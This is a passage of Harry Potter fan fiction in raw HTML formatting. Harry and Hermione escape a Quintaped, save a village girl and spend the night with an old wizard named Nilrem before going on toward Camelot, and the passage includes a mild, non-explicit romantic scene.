wall to avoid the sleeping creature the best\nthey could.&nbsp; One of the creature&#8217;s legs\nshot out as if the beast was having some kind of spasm tripping both Harry and\nHermione, they fell to the ground with a thud and the creature shifted a bit.\nIt pulled in a deep breath.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione stayed perfectly still, not even daring to breathe loudly as the\ncreature settled back into its curled slumber. Harry thought the creature kinda\nlooked a bit like a spider&#8217;s thorax without the head, the legs reminded him of\na club that mountain trolls use.&nbsp; There\nwas probably massive strength within the legs, they appeared thick and muscular\neven in their curled up state. It&#8217;s possible the creature could jump far\ndistances in one jump. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\ntwo of them got up from the ground very carefully, stepped over the leg that\ntripped them.&nbsp; They were in the clear\nthey could see the village just ahead.&nbsp;\nThe quickly and quietly walked towards the edge of the woods towards the\nvillage.&nbsp; A smaller figure was\napproaching them holding something in its hand.&nbsp;\nAs they got closer to the figure Harry was quite interested to know why\na child was roaming around in the woods it was a little girl who looked around\nten years old.&nbsp; She held up something in\nher hand as she neared himself, Hermione and the creature.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nchild saw Harry and Hermione and her eyes widened, but she was still\ndetermined, she lifted what was in her hand as she neared the creature.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,&#8221;\nHermione whispered, &#8220;stop her, she has a bell in her hand.&nbsp; She&#8217;s gonna wake up the creature.&#8221;&nbsp; Her voice came out panicked but quiet.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded and figured out that the little girl had a cow bell in hand and she was\ngonna ring it.&nbsp; Harry made eye contact\nwith the girl and shook his head no.&nbsp; She\nobviously didn&#8217;t agree.&nbsp; Before Harry and\nHermione had a chance to stop her she waved the bell about and it made a loud\nclanking noise.&nbsp; The creature shifted\nmaking a loud racket.&nbsp; A gut wrenching,\near piercing roar that shook the trees burst out from within the beast.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ngrabbed a hold of Hermione&#8217;s hand and they started to run from the beast,\nHermione stopped causing Harry to jerk backwards and almost loose his balance.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221;\nHarry sounded irritated but he kept pulling her towards the village. He heard\nthe sound of the girl in tears.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\ngirl, we can&#8217;t leave her.&#8221; Both Harry and Hermione said at the exact same\ntime.&nbsp; They turned around and saw the\nlittle girl crying wildly as the creature approached her slowly, its fangs\ndripping with acidic saliva.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nrun to the village I&#8217;ll get her.&#8221;&nbsp; Harry\nsaid and without waiting for a reply or argument, he sprinted off into a run\nback towards the beast.&nbsp; He brought out\nhis wand and pointed it at a large boulder.&nbsp;\n&#8220;Wingardium Leviosa!&#8221; The boulder lifted in the air and he moved his\nwand towards the creature.&nbsp; The boulder\ncontinued to rise up in the air as Harry quickly hovered it over the\ncreature.&nbsp; He ended the spell and rock\nfell from the sky onto the creature.&nbsp; The\ncreature sank to the ground stunned.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nbarely noticed it was still moving as he reached the girl.&nbsp; Swiftly he picked up the girl who wrapped her\nlittle arms and legs around him and buried her face into his chest as he ran\ntowards Hermione who hadn&#8217;t moved from the spot when he told her to run towards\nthe village.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">As\nsoon as Harry was close enough, Hermione started running for the village with\nhim not far behind.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nwere running towards the gate of the village they felt the earth shaking\nbeneath them, the creature wasn&#8217;t that far behind them as it leaped into the\nair every once in awhile to reach its food as they ran away from it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione ran closer towards the village gates when they saw two people standing\nby the gate yelling at them to hurry and waving them forward.&nbsp; Hermione snapped her head around and saw the\ncreature was on their heels.&nbsp; They ran\nthrough the gate as the two people closed the large iron door and two other\nhalf giants carried a large tree trunk and set it in its holders to lock the\ndoor. The creature was going so fast that it ran right into the door, shaking\nthe walls about the village.&nbsp; It charged\nthe door again but it didn&#8217;t even dent the iron.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione were lying on the ground breathing hard, completely out of\nair.&nbsp; The little girl was still holding\non to Harry as she was still crying.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">A\ngroup of people ran towards Harry and Hermione, a woman pushed her way through\nthe crowd and pulled the little girl off of Harry.&nbsp; She was in tears. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Elsa, oh Elsa what were you thinking?&#8221; The\nwoman said hugging her child tightly to her.&nbsp;\nShe glanced down at Harry and Hermione, &#8220;thank you.&#8221; She said in even\nmore tears.&nbsp; She sat her child on her\nfeet.&nbsp; &#8220;Now what on earth did you think\nyou were doing?!&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">Elsa\nlooked up at her mother, her eyes puffy and swollen from crying, &#8220;Jord and\nBraden dared me, they said I wasn&#8217;t brave enough to confront&#8212;&#8221; She was\ninterrupted by her mother.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ve\nheard enough Elsa.&#8221;&nbsp; She squatted down hugging\nher daughter to her again, although angry with her carelessness but relived\nthat she&#8217;s all right.&nbsp; She was definitely\ngoing to have a serious talk with those boy&#8217;s parents. She stood and glanced\ndown at&nbsp; Harry and Hermione who were\nstill panting heavily, they saved her daughter&#8217;s life.&nbsp; &#8220;I don&#8217;t think there is anything I can do to\nrepay you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nwaved his hand up at her, &#8220;it&#8217;s nothing, really.&#8221; He said still trying to catch\nhis breath.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nonsense\nyoung man, it wasn&#8217;t nothing.&#8221; Elsa&#8217;s mother replied.&nbsp; &#8220;You saved my daughter&#8217;s life.&#8221; She beamed.\n&#8220;Name what you want from our village and it shall be yours.&#8221; Elsa&#8217;s mother\nreplied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\nnot necessary, we don&#8217;t need anything.&nbsp;\nExcept maybe a place to stay for the night.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Granted.&#8221;\nElsa&#8217;s mother said with a smile. &#8220;I&#8217;m Elaine, you may stay with me and my\nfamily tonight.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nare you two doing in the forest anyway?&#8221; Someone asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione looked at each other wondering if they should trust these people,\nanyone out here could be working for Voldermort, they&#8217;ve sure had enough sense\nnot to say where they were going.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We\nare Herbalogists and we were studying the plant life.&#8221; Hermione said quickly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\na bit dangerous for you two Herbalogists to be out studying plant life this far\nwest.&#8221; Someone else said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nno one said Herbalogy was easy or safe, some times it&#8217;s down right dangerous.&#8221;\nHermione replied with a convincing smile. &#8220;besides, we like a challenge don&#8217;t\nwe Kevin?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nglanced at her oddly he saw her eyes widen with some kind of signal, and then\nit snapped ok so they weren&#8217;t going to give their names. He caught on pretty\nquick, &#8220;oh yes Tilly&#8217;s right we do like a challenge.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nwas that thing anyway?&#8221; Hermione asked as she and Harry got to their feet.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\ncreature is called a Quintaped, they are nasty things.&nbsp; So far there&#8217;s only one of them in these\nparts.&#8221; Elaine said. &#8220;It makes it difficult, almost impossible for any of us to\nleave the village.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\nis that, aren&#8217;t you Wizarding folk?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nwe are, but it takes a lot to even knock it out, let alone kill it.&#8221; An ancient\nlooking man with a long white beard walked towards Harry and Hermione. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnoticed he had twinkling blue eyes, kinda like Dumbledore. He had a kind\nexpression on his face.&nbsp; &#8220;It&#8217;s very rare\nthat we have visitors at all.&#8221; He said with a kind smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We\nhave to be able to leave tomorrow, to continue our research.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nlooks like you two are stuck here, unless you can figure out a way to trick it\nor even possibly kill it.&nbsp; The Quintaped\nhangs around outside waiting to eat anyone that might leave the village.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nshuddered.&nbsp; She felt Harry&#8217;s hand clasp\nhers tenderly. She glanced at him with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnoticed the old man watching them intently and he forced eye contact with the\nold man.&nbsp; He saw the old man smile at him\nwith a nod of his head.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ntwo must be hungry, why don&#8217;t you come to my hovel so we can chat.&#8221; The old man\noffered with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione both looked at each other for approval of the situation, they\nnodded at the same time.&nbsp; It was nice\nthat they really didn&#8217;t even need words to understand each other.&nbsp; They always knew what the other was thinking.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All\nright that sounds good,&#8221; Harry said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nfollow me then.&#8221; He old man started walking from the center of the village\ntowards his hovel with Harry and Hermione following.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nold man opened the door to his small but quaint little hovel, and the three of\nthem stepped inside.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\ndon&#8217;t you have a seat?&#8221; He said pointing to the table in the kitchen which was\nset with silverware, enough for guests if the should happen to pop by.&nbsp; While Hermione and Harry sat down at the\ntable the old man opened a cupboard and pulled down three cups and three\nplates.&nbsp; He opened his brick oven and\npulled out a pan of roast beef and little red potatoes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstared at the old man in awe since he didn&#8217;t need oven mitts to retrieve what\nlooked like a hot pan.&nbsp; She nudged Harry\nin the side getting his attention.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow.&#8221; Harry said in a whisper staring at the old man as he put the hot pan on\nthe counter. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nold man cut three slices of the roast beef and put it on the plates, he then\nput about four of the little red potatoes next to each slice of meat.&nbsp; He put the plates in front of his\nguests.&nbsp; He returned to the counter and\npulled a hot kettle from the fire place and proceeded to pour some hot tea into\nthe cups.&nbsp; He sat those in front of his\nguests.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There\nnow eat up, it&#8217;s pretty good.&#8221; The old man said with a smile, and he helped\nhimself to his own plate of beef and potatoes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\nfinishing their meal and their plates were cleared, Hermione looked up at the\nold man.&nbsp; &#8220;Thank you sir, it was really\ngood.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ncan call me Nilrem&#8221; He said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded, &#8220;what is it that you do here Nilrem?&#8221; She sipped from her cup and set\nit down with a soft clink.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI teach, since the children can&#8217;t leave the village they still need to learn\nthe ways of magic.&#8221; Nilrem said with a smile.&nbsp;\nHe studied both Harry and Hermione from across the table.&nbsp; &#8220;So why don&#8217;t you tell me who you really are,\nand what you were doing in the forest?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nfelt Harry squeeze her hand underneath the table.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow you were lying, so why don&#8217;t you just be honest with me.&#8221; Nilrem said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nsighed with defeat, &#8220;okay, we are not who we said we were. And forgive us if\nwe&#8217;re a little hesitant in telling people who we are and what we&#8217;re doing.&nbsp; We ran into some people, and well let&#8217;s just\nsay it&#8217;s hard to trust strangers.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ncan understand that.&#8221; Nilrem said leaning back in his chair.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All\nI&#8217;ll say is that we are on an important mission and hope that we will reach our\ndestination soon.&#8221; Harry said with a tiny smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nsuppose that&#8217;s fair, you don&#8217;t want to give any information to someone who\ncould be an enemy.&#8221; Nilrem smiled. &#8220;Well you can rest assured that I am not an\nenemy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\ncan we be sure of that?&#8221; Hermione asked eyeing him suspiciously</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nmay be right, how do you know for certain who to trust?&#8221; Nilrem said looking at\nHermione then at Harry. &#8220;I myself have no idea of you&#8217;re the enemy or not, but\nI invited you into my home. &nbsp;Now don&#8217;t\nyou think you could afoot me the same trust that I put in you two?&#8221; He looked\nbetween the two teens who looked they were thinking. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nrested his arms on the table and leaned forward onto them, &#8220;all right Nilrem,\nwe&#8217;ll give you the benefit of the doubt.&#8221;&nbsp;\nHe looked directly into Nilrem&#8217;s eyes looking for any kind of deception\nor evil that might be in him.&nbsp; &#8220;We are on\nour way to Camelot to retrieve the Soul Scepter for a ghost called Rowena\nRavenclaw.&#8221; Harry then leaned back in his chair.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Nilrem\nnodded, &#8220;It sounds like a grand quest my boy and I hope you succeed. Now it&#8217;s a\ngood thing you told me where you were going since there are a few things you\nneed to know about Camelot, for one there is a protective shield around the\ncity to keep beasts and possibly anyone who would want to destroy the great\ncity out.&nbsp; It only opens every two days\nfor a few hours.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\nfar are we from Camelot anyway?&#8221; Harry asked</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just\na few hours,&#8221; Nilrem answered. &#8220;If you can get past the Quintaped tomorrow it\nshould only take you three to four hours to get there from here.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Harry nodded, he looked over at Hermione who\nwas covering her mouth fighting a yawn, he then felt himself start to yawn. &#8220;Hermione,\ndon&#8217;t do that.&#8221; He teased but still couldn&#8217;t fight it the huge yawn that pushed\nits way out of him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nsmirked, &#8220;sorry.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah,\nso that&#8217;s your name.&#8221; Nilrem said with a smile.&nbsp;\n&#8220;That&#8217;s a much better name then Tilly, what fool thought of calling you\nTilly if you needed to use aliases.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey!&#8221;\nHarry scoffed, &#8220;It&#8217;s not like we planned this. I just said the first name that\npopped into my head besides her own.&#8221; He crossed his arms over his chest trying\nto look mad.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\nnot like Kevin is a much better choice either.&#8221; Nilrem smirked at Hermione&#8217;s\nglare.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;My\ndad&#8217;s name happens to be Kevin, and it&#8217;s a perfectly wonderful name.&#8221; Hermione\nsaid holding her finger up in the air as if she were giving a lecture to Ron\nabout him doing his own homework.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nis your name then if it&#8217;s not Kevin?&#8221; Nilrem asked Harry who was stilly trying\nto appear angry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry.&#8221;\nHe muttered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Nilrem\nsaw Hermione yawning again, &#8220;why don&#8217;t you two stay here tonight, I&#8217;ll go and\ntell Elaine that you&#8217;re just too tired to walk all the way across the village\nand that you just want to sleep here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both\nHarry and Hermione nodded while trying to hold back their yawns.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The\nextra bedroom is through that door and the bathroom is to the right.&#8221; Nilrem\nsaid pointing to each of the doors.&nbsp;\nHarry and Hermione stood and headed for the bedroom while Nilrem\ngathered up his cloak around him and headed out the door to tell Elaine about\nthe teens staying with him.&nbsp; &#8220;I&#8217;ll be\nback in about an hour.&#8221;&nbsp; Nilrem then left\nthe hovel.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\nHarry and Hermione readied themselves for bed, they snuggled under the nice\nwarm covers.&nbsp; It had been a good few days\nsince they had the comfort of a bed.&nbsp; The\nground was no place to sleep that&#8217;s for sure.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlay on her back staring up at the ceiling thinking about the journey they made\nand the fact that they also had to go back was getting to her.&nbsp; Harry, who was next to her regarded her\nprofile; he could tell she was troubled.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou alright?&#8221; He asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nturned her head so she could look at him, &#8220;I was just thinking after we reach\nCamelot and get that scepter, we&#8217;ll have to come all the way back to Destiny\nLake. Another four days of travel, more of that swamp and perhaps even those\nwretched gypsies.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded with a sigh, his arm went around her shoulder and he pulled her over so\nthat she was lying on his chest.&nbsp; It was\nhis turn to play in her hair, so automatically his fingers threaded through her\nbrown tresses.&nbsp; &#8220;Try not to think about\nthat now.&#8221;&nbsp; He said, trying to soothe her\nalways busy mind, &#8220;we&#8217;ll think about that when we come to it.&#8221;&nbsp; His other arm went around her and he was\nholding her tightly yet gently.&nbsp; &#8220;You\nknow there is something that I&#8217;m gonna miss when this mission is over.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nit&#8217;s not the blood sucking insects that&#8217;s for sure,&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nthat&#8217;s certainly something I&#8217;m not gonna miss.&#8221; He gave a half grin. &#8220;I&#8217;m gonna\nmiss this. Us, being like this I mean.&nbsp;\nIt&#8217;s really nice waking up next to you every morning; I just know I can\nget through the nights if you are here with me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlifted herself up a bit so she could see him, she lifted her hand cupping his\ncheek tenderly, &#8220;Maybe we can work something out with professor Dumbledore when\nwe get back, It&#8217;s worth a try.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nlifted his hand, covering hers and he pulled it from his cheek.&nbsp; He held her palm against his lips giving her\nhand a small affectionate kiss. &#8220;And if he says no, one of us can always sneak\ninto the other&#8217;s room.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\ncould work too,&#8221; she said with a small smile. Hermione leaned in pressing her\nlips against his.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s\nhand immediately cupped the back of her neck holding her there so she couldn&#8217;t\npull back. It had been a few days since he had a chance to kiss her properly;\nthey were always in too much of a rush and trying to reach their destination,\nthat there was hardly any time for themselves.&nbsp;\nHarry did not want this moment to end so quickly, and his mouth was\npressing harder against hers, wanting more.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; Hermione must have sensed his urgency since\nher mouth opened beneath his and she felt his tongue tasting and twirling\ntogether with hers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;He took his time kissing her so deeply and\nslowly that it seemed that time had stopped only for them. Hermione pulled away\nin her need for air, she caught her breath. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,\nwe really need to sleep. I&#8217;m about to fall asleep sitting up.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded and pulled her back so her head was lying on his chest again, he had one\narm around her waist his fingers trailing up and down her side leisurely, just\nmaking her feel at ease.&nbsp; He kissed her\nforehead and his head settled back against the pillow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nhope you&#8217;re not too disappointed.&#8221; She said sleepily.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nglanced down at the top of her head, &#8220;not at all.&#8221; He thought a moment, &#8220;well\nto be honest I am a bit, but it&#8217;s possible that if you weren&#8217;t feeling so tired\nthat it would probably be a different situation. Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hmm?&#8221;\nShe nestled her head into his chest more.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;I just want you to know that I would never,\never push you into anything.&nbsp; I&#8217;m not one\nof those guys who demands it every chance they get.&nbsp; I want to share in the passion, not just take\nit.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsmiled a little and even though she was almost asleep, she heard him.&nbsp; &#8220;You are so wonderful Harry, I lov&#8230;.&#8221; She\ncouldn&#8217;t finish, reality vanished and the God of Sleep had taken her away.&#8212;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She flipped back her brown hair as she\nwalked along the pond bank, she heard someone approach her.&nbsp; She turned with a smile.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Ah Jasmine, how does it feel to be back\nin Camelot?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Well Finley, it feels great. I&#8217;ve\nalways loved it here.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You know the last time we met was back\nin your home city.&nbsp; How have you been\nthese past months?&#8221; He folded his hands behind his back as he walked with her.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I&#8217;ve been 